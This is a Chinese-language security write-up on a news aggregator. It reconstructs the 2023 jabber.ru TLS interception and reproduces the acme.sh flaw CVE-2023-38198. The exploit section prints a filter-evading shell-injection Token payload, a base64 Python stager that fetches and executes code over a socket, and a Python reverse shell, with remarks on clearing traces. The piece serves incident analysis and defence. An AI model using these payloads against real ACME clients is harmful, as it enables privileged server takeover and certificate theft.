合法TLS监听的并行重建

Lobsters Hottest 新闻

摘要

基于俄罗斯XMPP服务Jabber.ru的真实事件,使用ACME自动化对合法TLS监听进行分析和复现,展示了如何实现和检测基于证书的拦截。

<p><a href="https://lobste.rs/s/jedgbs/parallel_reconstruction_lawful_tls">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/05/30 22:12

# 合法TLS窃听的并行重建 来源:https://remyhax.xyz/posts/reproducing-lawful-tls-wiretapping/ ## 合法TLS窃听的并行重建 传输层安全(TLS)协议负责让浏览器地址栏旁出现小锁图标。其底层使用了一系列极为酷炫的数值进行加密。部分数值被视为私密信息,需要保护;部分则视为公开信息,分享无妨。你可以将自己的数值与他人的数值以某种方式混合,从而验证一条信任链。最终,这条链的顶端必须存在一个或多个被默认为可信的实体,以便链下游的数值节点能够继承这份信任——这正是根证书颁发机构(CA)在链顶端(根)所扮演的角色。当然,上述对TLS和CA信任的高层解释省略了大量细微之处与细节,但请放心,理解事物**应如何**运作,对于直接动手操作的能力影响甚微。作为**基线**,使用根CA签名证书进行的TLS窃听(假定为合法)既真实发生,也有确凿记录。 - 针对Hetzner和Linode上最大俄罗斯XMPP(Jabber)消息服务的加密流量拦截(2023年) (https://notes.valdikss.org.ru/jabber.ru-mitm/) 这一事实而非阴谋论,往往令人不安。同时,若理解背后的运作机制,你会觉得非常有趣——很可能有人忘记续期用于合法拦截的TLS证书,导致用户看到巨大的警告页面,最终引发了上文中详细的调查。这真是一种颇为滑稽的暴露操作方式。 在这篇博客中,我们将利用事后诸葛亮的优势,并暂时放下对TLS**应如何**运作的预期。我们将审视分析、建议以及2023年这个更大系统中的因素,尝试通过演示回答它**实际上可能如何**运作。 ## 分析 valdikss.org上的分析博客极为详尽,这一点尤为有用,因为这类操作几乎只有出现失误时才会被外界察觉。我无法像传统从左到右那样“阅读”;更像是瞥见一片词云,而凭借三十余年的经验,我能正确猜出顺序。请允许我通过阅读分析的过程,直观展示这种能力的价值。 ### 词云 大块内容很容易猜出相关性,但如果谜团显而易见,那它就不是谜团了。细节决定成败,而`acme.sh`(用箭头指向)非常微小。当你以这种方式处理信息时,会丢失相关性的顺序。我通常会刻意浏览文档,寻找表示时间的数字,以便在脑海中将其串联起来。 | 日期 | 事件 | |---------------------|-----------------------------------------| | 2023年4月18日 | 未知行动者开始签发SSL/TLS证书 | | 2023年4月25日–2023年11月3日 | 其他事件发生 | 核心要点:关注2023年4月18日前后可能涉及`acme.sh`的事件(这是一个明显的缺失环节),并留意之后发生的事情。 ## acme.sh 还记得文章开头那个信任链的例子吗? ACME (https://letsencrypt.org/how-it-works/) 是一种用于建立信任的协议,用于从证书颁发机构签发和续订TLS证书。 acme.sh (https://github.com/acmesh-official/acme.sh) 是一个Shell脚本可执行文件,用于利用ACME协议自动化该过程。 运行在jabber.ru服务器上的正是`acme.sh`,用于协助其TLS证书续订。这些程序通常按定时器运行,在证书过期前发起调用并续订。与`acme.sh`相关的显著事件集中在2023年4月18日前后,包括于2023年6月8日披露的一个远程代码执行漏洞 (https://github.com/acmesh-official/acme.sh/issues/4659),最终分配了CVE ID CVE-2023-38198 (https://www.cve.org/CVERecord?id=CVE-2023-38198)。修复版本于2023年6月9日发布 (https://github.com/acmesh-official/acme.sh/releases/tag/3.0.6)。jabber.ru服务器在2023年4月18日运行的acme.sh版本可能受此漏洞影响。这似乎具有潜在相关性! ## CVE-2023-38198 在最初披露该漏洞的GitHub issue中,有人指出该漏洞正被一个名为“HiCA”的**证书颁发机构滥用**,以……签发证书。纵观GitHub issue中的观察活动,你会看到Shell插值以及针对被禁止/过滤字符的规避操作所造成的混乱——人们试图以错误的方式完成期望的操作。那里 (https://github.com/acmesh-official/acme.sh/issues/4659) 有许多有用的“好东西”,但即使是给出的示例,实际上对于复现此漏洞而言也是“有缺陷的”。该漏洞的性质在于,问题的核心在于传输中的数据与ACME客户端(包括用于日志/调试目的)处理该数据时的表示方式之间的差异。因此,虽然我们在调试日志中看到的内容会**接近**原始数据,但必定缺少某些部分。 > @mholt – 事实证明,Challenge对象看起来不太寻常。这里有一个简化的示例: > `{ Type: http-01 URL: ../pki-validation Status: pending Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl\`IFS=^;cmd=base64^-d;$cmd<<` 再次强调,需要**非常努力地眯眼注视**HiCA开发者为此付出的努力。无论如何,它在我的机器上无法生效,但显然某个时间点的某个版本(可能在GitHub issue中未记录)确实可行。采用同样的嵌套空白字符提升技术来编码Shell命令以绕过过滤器,我想出了以下代码: ``` { Type: http-01 URL: ../pki-validation Status: pending Token: dd##http-01#/tmp/$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)# } ``` 这里的技巧是`echo|nl`:echo产生一个单一的`\n`空白字符,而nl (https://man7.org/linux/man-pages/man1/nl.1.html) 读取该字符并产生该字符。这样就产生了一个不含任何空白字符的单一空白字符,从而可以构造一个Shell命令。解包后要简单得多: ``` # Base64解码字符串并通过管道发送给python3的标准输入 $(echo aW1w... | base64 -d | python3) ``` Base64内容是经过golf处理的Python代码(尽可能小)。为了避免空格而进行Base64编码,导致结果增大约33%。这带来了一个相当严重的问题:Linux中文件路径组件的最大长度通常为255字节,而该漏洞要求将利用代码**放在文件名本身**,而非文件内容中。超过255字节会导致文件系统本身拒绝该利用。 ```bash remy@bigboi:~$ ls /tmp '$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)' ``` 因此,需要进行代码golf。我采取了简单做法:编写了一个简单的stager,反向连接回我的服务器,读取4096字节,然后直接在内存中执行Python代码。 ```python import socket as s;a=s.socket(s.AF_INET,s.SOCK_STREAM);a.connect(("127.0.0.1",9999));exec(a.recv(4096)); ``` 在我的服务器上,我将一个典型的Python反向shell通过管道传递给解释器,该解释器在另一个端口捕获Shell。 ```python # Stage 2 socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",10000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh") ``` 实际中,证书被视为敏感信息,acme.sh等ACME客户端通常以提升的权限运行。当“victim.com”服务器尝试从“totally-legit-ca.com”签发新证书时,我们获得了特权反向Shell。 ![](poc.png) acme.sh客户端会无限期挂起,不触发任何错误,唯一可疑之处是看到一个标准的python3解释器。拥有特权Shell后,很容易清理`/tmp`中的“文件名中的利用”,或者就留在那里。`/tmp`目录通常在系统重启时被清空,从而移除所有痕迹。 进程树: ``` sh ./acme.sh ... (PID 124643) └─ python3 (PID 124647) ``` 成功利用所需的最后一项是控制ACME客户端和CA响应的网络路由,这方面在valdikss.org的博客中已有详尽介绍,并且有多种方式可以轻松实现。基本上,这正是TLS和证书作为互联网生态系统一部分存在的重要原因之一。 ## 总结 一个假定合法的操作发生了,涉及秘密重定向网络流量,签发了多个出现在公开可审计证书透明度日志中的欺诈性CA签名证书,并因忘记续订证书或彻底拆除拦截而暴露。与此同时,存在一个可被轻易利用且正被另一个行动者滥用的隐蔽远程代码执行漏洞。该漏洞本可允许窃听者复制已有的证书用于TLS拦截,且不产生任何痕迹。 我们可能永远无法确切知晓jabber.ru的CA签名TLS窃听事件的具体细节。我提供的时间线和所演示的概念验证利用表明,尽管ACME协议本身严格严谨,但运行该协议的软件始终是最薄弱环节。至今ACME客户端中仍存在更多漏洞;回顾我多年来逆向工程过的技术设备“墓地”,我知道这是一个事实。除非存在恶意CA或完全控制网络路由,这些漏洞无法被触及,但它们也存在于一个完全不受注意、被归为神话和传说的空间,除非拦截操作者变得有些……马虎,在处理一些在拥有资源和定位的情况下相当容易执行的事情时。 在该事件之后,出现了一篇非常深思熟虑的博客,关于如何在未来缓解此类攻击: - https://www.devever.net/~hl/xmpp-incident > “因此,考虑一个更称职的国家级对手(为方便起见,我们称其为Mallory)会怎么做是很有用的。这里,我假设Mallory可以做任何事情,除了实际攻破受害者机器或其操作者(这不是一个很好的假设,但请先接受它)。” > ——Hugo Landau

相似文章

XTLS/Xray-core

GitHub Trending (daily)

# XTLS/Xray-core 源码:[https://github.com/XTLS/Xray-core](https://github.com/XTLS/Xray-core) ## Project X [Project X](https://github.com/XTLS) 源于 XTLS 协议,提供 [Xray-core](https://github.com/XTLS/Xray-core) 和 [REALITY](https://github.com/XTLS/REALITY) 等网络工具套件。[README](https://github.com/XTLS/Xray-core#readme) 公开,欢迎在此提交您的项目[PR](https://github.com/XTLS/Xray-core/pulls)。 ## 赞助商 [![Remnawave](https://github.co